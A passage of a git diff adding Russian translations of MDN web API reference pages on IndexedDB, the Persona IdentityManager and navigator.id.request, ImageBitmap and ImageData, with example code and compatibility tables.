+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.locale);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '<td>' + cursor.value.id + '</td>'
+                           + '<td>' + cursor.value.lName + '</td>'
+                           + '<td>' + cursor.value.fName + '</td>'
+                           + '<td>' + cursor.value.jTitle + '</td>'
+                           + '<td>' + cursor.value.company + '</td>'
+                           + '<td>' + cursor.value.eMail + '</td>'
+                           + '<td>' + cursor.value.phone + '</td>'
+                           + '<td>' + cursor.value.age + '</td>';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};
+ +

Specification

+ +

Not currently part of any specification.

+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBIndex.locale")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/identitymanager/index.html b/files/ru/web/api/identitymanager/index.html new file mode 100644 index 0000000000..01b4a96364 --- /dev/null +++ b/files/ru/web/api/identitymanager/index.html @@ -0,0 +1,47 @@ +--- +title: IdentityManager +slug: Web/API/IdentityManager +tags: + - API + - Persona + - Reference +translation_of: Archive/IdentityManager +--- +

{{APIRef("Persona")}}{{non-standard_header}}

+ +

The IdentityManager of the  BrowserID protocol exposes the BrowserID API, via {{domxref("navigator.id")}}. This API has gone through several significant revisions. Each generation is listed separately below.

+ +

The "Observer" API (Current)

+ +

The Observer API introduces much-requested features, such as an improved post-verification experience for first-time users, automatic persistent logins, and easier integration with native applications.

+ +
+
{{ domxref("IdentityManager.watch()")}}
+
Registers callbacks to be invoked when a user logs into or out of a website.
+
{{ domxref("IdentityManager.request()")}}
+
Requests a signed identity assertion from the user.
+
{{ domxref("IdentityManager.logout()")}}
+
Logs the user out of a website and prevents the onlogin action from automatically firing on their next visit.
+
+ +
+

Users with third-party cookies disabled may experience problems logging in using the Observer API as detailed in issue 2999.

+
+ +

The "Callback" API (Current)

+ +

The Callback API was introduced in November 2011. It improved upon the initial API by allowing options to be passed to navigator.id.get() and offering experimental support for BrowserID-managed persistent sessions.

+ +
+
{{ domxref("IdentityManager.get()")}}
+
Gets the user's BrowserID in a signed assertion.
+
+ +

The "VerifiedEmail" API (Deprecated)

+ +

The VerifiedEmail API was BrowserID's first API. It was deprecated at the end of 2011.

+ +
+
{{ domxref("IdentityManager.getVerifiedEmail()")}} {{ deprecated_inline() }}
+
Gets the user's BrowserID in a signed assertion. This method is deprecated; {{ domxref("navigator.id.get()")}} is backwards compatible and can be used instead.
+
diff --git a/files/ru/web/api/identitymanager/request/index.html b/files/ru/web/api/identitymanager/request/index.html new file mode 100644 index 0000000000..2923f0a359 --- /dev/null +++ b/files/ru/web/api/identitymanager/request/index.html @@ -0,0 +1,88 @@ +--- +title: navigator.id.request +slug: Web/API/IdentityManager/request +tags: + - API + - BrowserID + - DOM + - Persona + - Безопасность + - Использование + - Настройка + - Справка + - запрос + - метод + - не стандартный + - справка DOM + - справка Gecko DOM +translation_of: Archive/IdentityManager/request +--- +
{{ ApiRef }}
+ +

Кратко

+ +

Эта функция позволяет использовать Persona для аутентификации пользователей на вебсайте. Она должна вызываться внутри обработки щелчка мыши, к примеру, вы должны вызвать её, когда пользователь щелкнул по кнопке «Войти с помощью Persona».

+ +

Когда функция navigator.id.request() вызвана она попросит пользователя выбрать адрес электронной почты, который он желает использовать для входа, а также попросит пройти процедуру аутентификации у поставщика услуг (электронной почты, прим. переводчика), если срок сертификата пользователя истёк. После этого, она создаёт подписанную заявку (assertion), содержащую адрес эл.почты пользователя и передаёт эту заявку функции onlogin, зарегистрированной с помощью {{domxref("navigator.id.watch()")}}.

+ +

Эта функция должна использоваться обязательно в связке с  {{domxref("navigator.id.watch()")}}.

+ +

Синтаксис

+ +
navigator.id.request();
+navigator.id.request({siteName: 'Название сайта', siteLogo: '/logo.png'});
+navigator.id.request({termsOfService: '/tos.html', privacyPolicy: '/privacy.html'});
+
+ +

Параметры

+ +
+
backgroundColor {{ optional_inline() }}
+
Шестнадцатеричный код цвета для фона диалогового окна. Формат: "#rgb" или "#rrggbb".
+
oncancel {{ optional_inline() }}
+
Функция, которую следует вызвать в случае отказа пользователя предоставить свой идентификатор сайту.
+
privacyPolicy {{ optional_inline() }}
+
Должен передаваться по SSL. Так же должен быть передан параметр termsOfService (Условия Предоставления Услуг).
+
Абсолютный путь или URL до описания политики конфиденциальности веб-сайта. Если этот параметр предоставлен, тогда так же должен быть предоставлен параметр termsOfService. Когда оба эти параметра (termsOfService и privacyPolicy) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.
+
returnTo {{ optional_inline() }}
+
Абсолютный путь на который будут отправлены новые пользователи, закончившие процедуру проверки эл.почты в первый раз. Путь должен начинаться с '/'. Этот параметр действует только на тех пользователей, которые проходят сертификацию через запсную Службу Предоставления Идентификаторов от Mozilla (Mozilla's Identity Provider, - прим.). Предоставляемое значение должно указывать реально существующий путь, который может быть использован так же в качестве локации окна – window.location.
+
siteLogo {{ optional_inline() }}
+
Должен передаваться по SSL.
+
Абсолютный путь до изображения, которое будет отображаться в диалоговом окне входа. Путь должен начинаться с '/'. Изображения, превышающие размер 100x100 пикселей будут маштабированы до этого размера.
+
siteName {{ optional_inline() }}
+
Название вашего сайта, которое будет отображаться в диалоговом окне входа в формате простого текста (plain text - прим.). Допустимы символы Юникода и пробельные символы, но не разметка.
+
termsOfService {{ optional_inline() }}
+
Должен передаваться по SSL. Так же должен быть предоставлен параметр privacyPolicy (Политика Конфиденциальности).
+
Абсолютный путь или URL адрес до описания условий предоставления услуг веб-сайта. Если этот параметр указан, тогда так же должен быть указан параметр privacyPolicy.  Когда оба эти параметра (termsOfService и privacyPolicy) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.
+
+ +

Пример

+ +
var signinLink = document.getElementById('signin');
+
+if (signinLink) {
+  signinLink.onclick = function(evt) {
+    // Запрашивает подписанную идентификационную заявку от пользователя.
+    navigator.id.request({
+      siteName: 'Мой Сайт',
+      siteLogo: '/logo.png',
+      termsOfService: '/tos.html',
+      privacyPolicy: '/privacy.html',
+      returnTo: '/welcome.html',
+      oncancel: function() { alert('Пользователь отказался идентифицироваться.'); }
+    });
+  };
+}
+ +

Технические описания (Спецификации)

+ +

Не включена ни в одно техническое описание.

+ +

Также смотрите

+ + diff --git a/files/ru/web/api/imagebitmap/index.html b/files/ru/web/api/imagebitmap/index.html new file mode 100644 index 0000000000..6d5802b4ed --- /dev/null +++ b/files/ru/web/api/imagebitmap/index.html @@ -0,0 +1,68 @@ +--- +title: ImageBitmap +slug: Web/API/ImageBitmap +tags: + - API + - Canvas + - ImageBitmap + - Interface + - Reference + - Интерфейс + - Ссылка +translation_of: Web/API/ImageBitmap +--- +
{{APIRef("Canvas API")}}
+ +

Интерфейс ImageBitmap представляет собой bitmap изображение которое может быть нарисовано на {{HTMLElement("canvas")}} без чрезмерной задержки. Создать его можно несколькими способами используя {{domxref("ImageBitmapFactories.createImageBitmap", "createImageBitmap()")}}. ImageBitmap предоставляет асинхронный и ресурсоэффективный метод подготовки текстур для рендеринга в WebGL.

+ +

Свойства

+ +
+
{{domxref("ImageBitmap.height")}} {{readonlyInline}}
+
Высота  ImageData в CSS пикселях типа unsigned long.
+
{{domxref("ImageBitmap.width")}} {{readonlyInline}}
+
Ширина  ImageData в CSS пикселях типа unsigned long.
+
+ +

Методы

+ +
+
{{domxref("ImageBitmap.close()")}}
+
+

Удаляет все графические ресурсы связанные с ImageBitmap.

+
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "webappapis.html#imagebitmap", "ImageBitmap")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость

+ + + +

{{Compat("api.ImageBitmap")}}

+ +

Полезные ссылки

+ + diff --git a/files/ru/web/api/imagedata/index.html b/files/ru/web/api/imagedata/index.html new file mode 100644 index 0000000000..4614ea0d39 --- /dev/null +++ b/files/ru/web/api/imagedata/index.html @@ -0,0 +1,142 @@ +--- +title: ImageData +slug: Web/API/ImageData +translation_of: Web/API/ImageData +--- +
{{APIRef("Canvas API")}}
+ +

Интерфейс ImageData представляет лежащие в основе пиксельные данные области элемента {{HTMLElement("canvas")}}. Он создан используя конструктор {{domxref("ImageData.ImageData", "ImageData()")}} или метод создания объекта {{domxref("CanvasRenderingContext2D")}} ассоциированного с canvas: {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} и {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Он также может быть использован для установки части canvas используя метод {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}.

+ +

Конструкторы

+ +
+
{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}
+
Создаёт ImageData из указанного {{jsxref("Uint8ClampedArray")}} и из размера изображения которого он содержит. Если массив не указан, то он создаёт изображение чёрного прямоугольника. Обратите внимание, что такой довольно распространённый путь создания подобного объекта в worker'ах как {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} там не доступен.
+
+ +

Свойства

+ +
+
{{domxref("ImageData.data")}} {{readonlyInline}}
+
Возвращает {{jsxref("Uint8ClampedArray")}} представляющий собой одномерный массив, содержащий данные цветовой модели RGBA, с целыми значениями от 0 до 255 (включительно).
+
{{domxref("ImageData.height")}} {{readonlyInline}}
+
Фактическая высота в пикселях объекта ImageData.
+
{{domxref("ImageData.width")}} {{readonlyInline}}
+
Фактическая ширина в пикселях объекта ImageData.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4.0{{CompatGeckoDesktop("14")}}9.09.03.1
Support in workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("25")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ImageData() constructor{{CompatChrome("43")}}{{CompatGeckoDesktop("29")}}{{CompatNo}}{{CompatOpera("30")}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support2.1{{CompatVersionUnknown}}{{CompatGeckoMobile("14")}}{{CompatUnknown}}10.03.2{{CompatVersionUnknown}}
Support in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
ImageData() constructor{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("29")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

См. также

+ + diff --git a/files/ru/web/api/index.html b/files/ru/web/api/index.html new file mode 100644 index 0000000000..9e798ecca0 --- /dev/null +++ b/files/ru/web/api/index.html @@ -0,0 +1,25 @@ +--- +title: Интерфейсы веб API +slug: Web/API +tags: + - API + - Apps + - JavaScript + - Reference + - Web + - Руководство +translation_of: Web/API +--- +

При написании кода на JavaScript для Веба доступно большое количество API. Ниже приведён список всех интерфейсов (то есть, типов объектов), которые вы можете использовать при разработке веб-приложения или сайта.

+ +

Спецификации

+ +

Список доступных API.

+ +

{{ListGroups}}

+ +

Интерфейсы

+ +

Список доступных интерфейсов (типы объектов).

+ +
{{APIListAlpha}}
diff --git a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html new file mode 100644 index 0000000000..1864f35f8d --- /dev/null +++ b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -0,0 +1,213 @@ +--- +title: Basic concepts +slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +
+

IndexedDB обеспечивает возможность постоянного хранения данных посредством браузера пользователя. Поскольку это наделяет создаваемые web-приложения с расширенными возможностями независимостью от доступа к сети, такие приложения получают возможность работы как online, так и offline. IndexedDB полезна для приложений, хранящих большое количество данных (например, каталог DVD библиотеки проката) и не нуждающихся в постоянном подключении к Интернету (например, почтовые клиенты, перечни запланированного to-do и заметки на память).

+
+ +

Об этом документе

+ +

В этом введении рассматриваются основные концепции и термины в IndexedDB. Оно содержит общую картину и объясняет ключевые понятия.

+ +

Оно может стать полезным для:

+ + + +

Обзор IndexedDB

+ +

IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует same-origin policy. Поэтому, если получить доступ к сохраненным данным в пределах домена можно, то вне его - нет.

+ +

IndexedDB - ассинхронное API, которое может быть использовано в большинстве контекстов, включая Web Workers. Раньше оно включало синхронную версию, для использования в web workers, но это было удалено из спецификации в связи с недостатком интереса внутри web-сообщеста.

+ +

Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила ее 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.

+ +

Big concepts

+ +

Если у вас есть опыт работы с другими типами баз данных, то вы можете быть сбиты с толку в процессе работы с IndexedDB. Поэтому имейте в виду следующие важные понятия:

+ + + +

Definitions

+ +

This section defines and explains terms used in the IndexedDB API.

+ +

Database

+ +
+
database
+
A repository of information, typically comprising one or more object stores. Each database must have the following: +
    +
  • Name. This identifies the database within a specific origin and stays constant throughout its lifetime. The name can be any string value (including an empty string).
    • +
  • +

    Current version. When a database is first created, its version is the integer 1 if not specified otherwise. Each database can have only one version at any given time.

    +
    • +
+
+
durable
+
+

In Firefox, IndexedDB used to be durable, meaning that in a readwrite transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk.

+ +

As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}), which is the same behaviour as other IndexedDB-supporting browsers. In this case the {{Event("complete")}} event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare, most consumers should not need to concern themselves further.

+ +
+

Note: In Firefox, if you wish to ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see {{domxref("IDBDatabase.transaction")}}.) This is currently experimental, and can only be used if the dom.indexedDB.experimental pref is set to true in about:config.

+
+
+
object store
+
+

The mechanism by which data is stored in the database. The object store persistently holds records, which are key-value pairs. Records within an object store are sorted according to the keys in an ascending order.

+ +

Every object store must have a name that is unique within its database. The object store can optionally have a key generator and a key path. If the object store has a key path, it is using in-line keys; otherwise, it is using out-of-line keys.

+ +

For the reference documentation on object store, see {{domxref("IDBObjectStore")}}.

+
+
version
+
When a database is first created, its version is the integer 1. Each database has one version at a time; a database can't exist in multiple versions at once. The only way to change the version is by opening it with a greater version than the current one. This will start a versionchange transaction and fire an upgradeneeded event. The only place where the schema of the database can be updated is inside the handler of that event.
+
Note: This definition describes the most recent specification, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed IDBDatabase.setVersion() method.
+
database connection
+
An operation created by opening a database. A given database can have multiple connections at the same time.
+
transaction
+
+

An atomic set of data-access and data-modification operations on a particular database. It is how you interact with the data in a database. In fact, any reading or changing of data in the database must happen in a transaction.

+ +

A database connection can have several active transactions associated with it at a time, so long as the writing transactions do not have overlapping scopes. The scope of transactions, which is defined at creation, determines which object stores the transaction can interact with and remains constant for the lifetime of the transaction. So, for example, if a database connection already has a writing transaction with a scope that just covers the flyingMonkey object store, you can start a second transaction with a scope of the unicornCentaur and unicornPegasus object stores. As for reading transactions, you can have several of them — even overlapping ones.

+ +

Transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. You can abort the transaction, which rolls back the changes made to the database in the transaction. And you don't even have to wait for the transaction to start or be active to abort it.

+ +

The three modes of transactions are: readwrite, readonly, and versionchange. The only way to create and delete object stores and indexes is by using a versionchange transaction. To learn more about transaction types, see the reference article for IndexedDB.

+ +

Because everything happens within a transaction, it is a very important concept in IndexedDB. To learn more about transactions, especially on how they relate to versioning, see {{domxref("IDBTransaction")}}, which also has reference documentation.

+
+
request
+
The operation by which reading and writing on a database is done. Every request represents one read or write operation.
+
index
+
+

An index is a specialized object store for looking up records in another object store, called the referenced object store. The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refer to the object store are automatically updated.

+ +

Alternatively, you can also look up records in an object store using the key.

+ +

To learn more on using indexes, see Using IndexedDB. For the reference documentation on index, see IDBKeyRange.

+
+
+ +

Key and value

+ +
+
key
+
+

A data value by which stored values are organized and retrieved in the object store. The object store can derive the key from one of three sources: a key generator, a key path, or an explicitly specified value. The key must be of a data type that has a number that is greater than the one before it. Each record in an object store must have a key that is unique within the same store, so you cannot have multiple records with the same key in a given object store.

+ +

A key can be one of the following types: string, date, float, a binary blob, and array. For arrays, the key can range from an empty value to infinity. And you can include an array within an array.

+ +

Alternatively, you can also look up records in an object store using the index.

+
+
key generator
+
A mechanism for producing new keys in an ordered sequence. If an object store does not have a key generator, then the application must provide keys for records being stored. Generators are not shared between stores. This is more a browser implementation detail, because in web development, you don't really create or access key generators.
+
in-line key
+
A key that is stored as part of the stored value. It is found using a key path. An in-line key can be generated using a generator. After the key has been generated, it can then be stored in the value using the key path or it can also be used as a key.
+
out-of-line key
+
A key that is stored separately from the value being stored.
+
key path
+
Defines where the browser should extract the key from in the object store or index. A valid key path can include one of the following: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods or an array containing any of those. It cannot include spaces.
+
value
+
+

Each record has a value, which could include anything that can be expressed in JavaScript, including boolean, number, string, date, object, array, regexp, undefined, and null.

+ +

When an object or array is stored, the properties and values in that object or array can also be anything that is a valid value.

+ +

Blobs and files can be stored, cf. specification {{ fx_minversion_inline("11") }}.

+
+
+ +

Range and scope

+ +
+
scope
+
The set of object stores and indexes to which a transaction applies. The scopes of read-only transactions can overlap and execute at the same time. On the other hand, the scopes of writing transactions cannot overlap. You can still start several transactions with the same scope at the same time, but they just queue up and execute one after another.
+
cursor
+
A mechanism for iterating over multiple records with a key range. The cursor has a source that indicates which index or object store it is iterating. It has a position within the range, and moves in a direction that is increasing or decreasing in the order of record keys. For the reference documentation on cursors, see {{domxref("IDBCursor")}}.
+
key range
+
+

A continuous interval over some data type used for keys. Records can be retrieved from object stores and indexes using keys or a range of keys. You can limit or filter the range using lower and upper bounds. For example, you can iterate over all values of a key between x and y.

+ +

For the reference documentation on key range, see {{domxref("IDBKeyRange")}}.

+
+
+ +

Limitations

+ +

IndexedDB is designed to cover most cases that need client-side storage. However, it is not designed for a few cases like the following:

+ + + +

In addition, be aware that browsers can wipe out the database, such as in the following conditions:

+ + + +

The exact circumstances and browser capabilities change over time, but the general philosophy of the browser vendors is to make the best effort to keep the data when possible.

+ +

Next steps

+ +

With these big concepts under our belts, we can get to more concrete stuff. For a tutorial on how to use the API, see Using IndexedDB.

+ +

See also

+ + diff --git a/files/ru/web/api/indexeddb_api/index.html b/files/ru/web/api/indexeddb_api/index.html new file mode 100644 index 0000000000..7c1afe25b8 --- /dev/null +++ b/files/ru/web/api/indexeddb_api/index.html @@ -0,0 +1,160 @@ +--- +title: IndexedDB +slug: Web/API/IndexedDB_API +tags: + - API + - Database + - NeedsTranslation + - Reference + - Référence(2) + - TopicStub +translation_of: Web/API/IndexedDB_API +--- +
{{DefaultAPISidebar("IndexedDB")}}
+ +

IndexedDB — низкоуровневое API для клиентского хранилища большого объема структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если DOM Storage  полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.

+ +

{{AvailableInWorkers}}

+ +
+

Заметка: IndexedDB API мощные, но могут казаться слишком сложными для простых задач. Если вы предпочитаете простые API, попробуйте библиотеки, такие как localForage, dexie.js и ZangoDB, делающие IndexedDB более дружественным.

+
+ +

Ключевые концепции и  использование

+ +

IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с ключом; любой объект, поддерживаемый структурированным алгоритмом клонирования может быть сохранен. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько транзакций.

+ + + +
+

Заметка: Как и большинство решений web-хранения, IndexedDB следует аналогичной same-origin policy. Поэтому вы имеете доступ к хранилищу данных в пределах одного домена, но не можете получать их с любого другого.

+
+ +

Синхронность и асинхронность

+ +

Выполнение операций использующих IndexedDB происходит асинхронно, т. е. не блокирует приложение. IndexedDB первоначально включал синхронные и асинхронные API. Синхронные API предназначались только для работы с Web Workers, но были удалены из спецификации, потому что было неясно, нужны ли они. Однако, синхронные API могут быть повторно введены, если появится спрос со стороны веб разработчиков. 

+ +

Ограничения памяти и критерии освобождения 

+ +

Существует несколько веб-технологий, которые хранят данные того или иного вида на стороне клиента (т.е. на вашем локальном диске). Под IndexedDB чаще всего подразумевают одно. Процесс, в котором браузер вычисляет сколько места нужно выделить для хранения веб-данных. Ограничение памяти браузера и критерии особождения пытаются объяснить как это работает, по крайней мере в случае с Firefox.

+ +

Интерфейсы

+ +

Чтобы получить доступ к базе данных, вызовите метод  open() y атрибута indexedDB  объекта window. Этот метод возвращает объект {{domxref("IDBRequest")}} ; асинхронные операции связываются с вызывающим приложением, вызывая события объекта {{domxref("IDBRequest")}} .

+ +

Подключение к базе данных

+ +
+
{{domxref("IDBEnvironment")}}
+
Предоставляет доступ к функциям IndexedDB. Реализовано объектами {{domxref("window")}} и {{domxref("worker")}}.
+
{{domxref("IDBFactory")}}
+
Предоставляет доступ к базе данных. Этот интерфейс представлен глобальным объектом indexedDB. Он является точкой входа для API.
+
{{domxref("IDBOpenDBRequest")}}
+
Представляет запрос на открытие базы данных.
+
{{domxref("IDBDatabase")}}
+
Представляет подключение к базе данных. Это единственный способ получить транзакцию в базе данных.
+
+ +

Получение и изменение данных

+ +
+
{{domxref("IDBTransaction")}}
+
Представляет транзакцию. Вы создаете транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.
+
{{domxref("IDBRequest")}}
+
Generic interface that handles database requests and provides access to results.
+
{{domxref("IDBObjectStore")}}
+
Универсальный интерфейс, который обрабатывает запросы к базе данных и предоставляет доступ к результатам.
+
{{domxref("IDBIndex")}}
+
Позволяет получить доступ к подмножеству данных в IndexedDB, но вместо первичного ключа использует индекс для извлечения записи (записей). Иногда это быстрее, чем использование {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBCursor")}}
+
Итерирует по хранилищам объектов и индексам.
+
{{domxref("IDBCursorWithValue")}}
+
Итерирует по хранилищам объектов и индексам и возвращает текущее значение курсора.
+
{{domxref("IDBKeyRange")}}
+
Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне.
+
{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}
+
Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне, отсортированных в соответствии с правилами локали, указанной для определенного индекса (см. createIndex()'s optionalParameters.). Этот интерфейс не входит в спецификацию 2.0.
+
+ +

Пользовательские интерфейсы событий

+ +

Эта спецификация запускает события со следующим настраиваемым интерфейсом:

+ +
+
{{domxref("IDBVersionChangeEvent")}}
+
Интерфейс IDBVersionChangeEvent указывает, что версия базы данных изменилась в результате функции обработчика событий {{domxref("IDBOpenDBRequest.onupgradeneeded")}}.
+
+ +

Устаревшие интерфейсы

+ +

Ранняя версия спецификации также определяла эти теперь удаленные интерфейсы. Они все еще задокументированы на тот случай, если вам понадобится обновить ранее написанный код:

+ +
+
{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}
+
Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путем вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удаленного {{domxref("IDBVersionChangeRequest")}}.
+
{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}
+
Представляет исключения, которые могут возникнуть при выполнении операций с базой данных.
+
{{domxref("IDBTransactionSync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBTransaction")}}.
+
{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBIndexSync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBIndex")}}.
+
{{domxref("IDBFactorySync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBFactory")}}.
+
{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBEnvironment")}}.
+
{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBDatabase")}}.
+
{{domxref("IDBCursorSync")}} {{obsolete_inline}}
+
Синхронная версия {{domxref("IDBCursor")}}.
+
+ +

Примеры

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('IndexedDB')}}{{Spec2('IndexedDB')}}Initial definition
{{SpecName("IndexedDB 2")}}{{Spec2("IndexedDB 2")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html new file mode 100644 index 0000000000..156ef5cded --- /dev/null +++ b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html @@ -0,0 +1,1198 @@ +--- +title: Использование IndexedDB +slug: Web/API/IndexedDB_API/Using_IndexedDB +tags: + - API + - Advanced +translation_of: Web/API/IndexedDB_API/Using_IndexedDB +--- +

IndexedDB - это способ постоянного хранения данных внутри клиентского браузера, другими словами это NOSQL хранилище на стороне клиента. Что позволяет создавать веб-приложения с богатыми возможностями обращения к данным независимо от доступности сети, ваши приложения могут работать как онлайн, так и офлайн.

+ +

Об этом документе

+ +

Это руководство по использованию асинхронного API для IndexedDB. Если вы не знакомы с IndexedDB, то обратитесь для начала к документу Basic Concepts About IndexedDB. .

+ +
Некоторые части документа не переведены, в основном это повсеместно принятые в программировании рекомендации, такие как обработка ошибок или что-то очевидное. Тем не менее Вы можете/должны продолжить перевод. Главная цель перевода - понять основные концепции IndexedDB, обратить внимание на важные нюансы, прокомментировать исходный код и может быть добавить примеры.
+ +

Справочную документацию по IndexedDB API вы найдете в документе IndexedDB. В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.

+ +

Типичная схема работы с базой

+ +

Обычная последовательность шагов при работе с IndexedDB :

+ +
    +
  1. Открыть базу данных.
    2. +
  2. Создать хранилище объектов в базе данных, над которой будут выполняться наши операции. 
    3. +
  3. Запустить транзакцию и выдать запрос на выполнение какой-либо операции с базой данных, например, добавление или извлечение данных.
    4. +
  4. +
    Ждать завершения операции, "слушая" событие DOM, на которое должен быть установлен наш обработчик.
    +
    5. +
  5. +
    Сделать что-то с результатами (которые могут быть найдены в возвращаемом по нашему запросу объекте ).
    +
    6. +
+ +

Теперь, получив общее представление, переходим к более конкретным деталям.

+ +

Создание и структурирование хранилища

+ +

Так как спецификация пока еще находится в процесе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят,  префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока еще используют префикс moz, а браузеры на базе движка webkit используют префикс webkit.

+ +

Использование экспериментальной версии IndexedDB

+ +

Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока еще не отказались от префикса, можно воспользоваться следующим кодом:

+ +
// проверяем существования префикса.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// НЕ ИСПОЛЬЗУЙТЕ "var indexedDB = ..." вне функции.
+// также могут отличаться и window.IDB* objects: Transaction, KeyRange и тд
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
